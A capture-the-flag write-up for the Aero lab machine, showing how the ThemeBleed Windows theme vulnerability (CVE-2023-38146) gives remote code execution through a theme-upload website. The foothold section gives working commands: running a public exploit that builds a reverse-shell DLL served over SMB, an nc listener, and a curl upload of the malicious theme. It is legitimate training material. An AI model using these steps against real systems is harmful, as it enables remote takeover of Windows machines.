Post

Aero

Aero is a Medium Windows box built around ThemeBleed (CVE-2023-38146). A public 'Aero Theme Hub' on IIS lets anyone upload a Windows 11 .theme file that an admin then 'tests'. A malicious theme references an .msstyles over SMB; with PACKTHEM_VERSION 999 Windows verifies a signed _vrf.dll and then re-loads it, and a deterministic SMB content-swap turns that signature/load race into RCE as sam.emerson. This post covers recon through the user flag.

Aero

Overview

Aero is a Medium Windows machine fronted by a single service: an IIS site, the “Aero Theme Hub”, that invites users to upload Windows 11 theme files which an administrator will “test”. That workflow is the whole foothold — it is a delivery vector for ThemeBleed (CVE-2023-38146), a remote code execution bug in how Windows loads visual-style DLLs. This post goes from recon to a shell as aero\sam.emerson and the user flag; privilege escalation is intentionally left out.

Recon

PortServiceNotes
80/tcpMicrosoft-IIS/10.0“Aero Theme Hub” — uploads .theme / .themepack

Only port 80 answered. Everything else was filtered.

1
nmap -sC -sV -Pn 10.129.229.128

The site briefly returns 502 Bad Gateway while its backend boots, then serves the theme hub.

Enumeration

The landing page has an upload form posting to /upload with enctype="multipart/form-data", accept=".theme, .themepack", a field named files, and an ASP.NET Core anti-forgery hidden field __RequestVerificationToken. The success message —

1
{"success":true,"message":"Once we test your theme it will be added to the site!"}

— confirms an admin (a bot) opens whatever is uploaded. A “privileged user opens an attacker-controlled .theme” is the exact precondition for ThemeBleed.

Foothold

ThemeBleed (CVE-2023-38146) abuses how Windows handles a theme’s .msstyles file. When the style declares version 999, Windows looks for a sibling <style>_vrf.dll, Authenticode-verifies it, and then loads it — two separate opens of the same path (a TOCTOU race). The loaded DLL is expected to export VerifyThemeVersion.

Served over SMB the “race” is actually deterministic: the verification open uses ShareAccess != 5, the LoadLibrary open uses ShareAccess == 5. A small SMB server returns a signed DLL for the first and a malicious DLL for the second. The headless Jnnshschl impacket port does exactly this — no Windows VM needed. It cross-compiles a reverse-shell DLL, generates the theme, and serves SMB on 445:

1
2
git clone https://github.com/Jnnshschl/CVE-2023-38146.git && cd CVE-2023-38146
python3 themebleed.py -r 10.10.16.13 -p 4711 --no-dll

Start a listener for the callback, then upload the generated theme with the anti-forgery token:

1
2
3
4
5
6
7
nc -lvnp 4711   # or rlwrap -cAr nc -lvnp 4711

TOKEN=$(curl -s -c jar http://10.129.229.128/ \
  | grep -oE '__RequestVerificationToken[^>]*value="[^"]*"' \
  | head -1 | grep -oE 'value="[^"]*"' | cut -d'"' -f2)
curl -s -b jar -F "__RequestVerificationToken=$TOKEN" \
  -F "files=@evil_theme.theme" http://10.129.229.128/upload

When the admin bot tests the theme, the SMB server logs the three stages — the .msstyles (version 999), the signed _vrf.dll for the signature check (ShareAccess 7), then the malicious _vrf.dll for the load (ShareAccess 5) — and a shell returns as aero\sam.emerson.

User flag

whoami                                            # aero\sam.emerson
type C:\Users\sam.emerson\Desktop\user.txt        # HTB{...}

Access as sam.emerson achieved. Flag value redacted.

Foothold complete. Privilege escalation is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.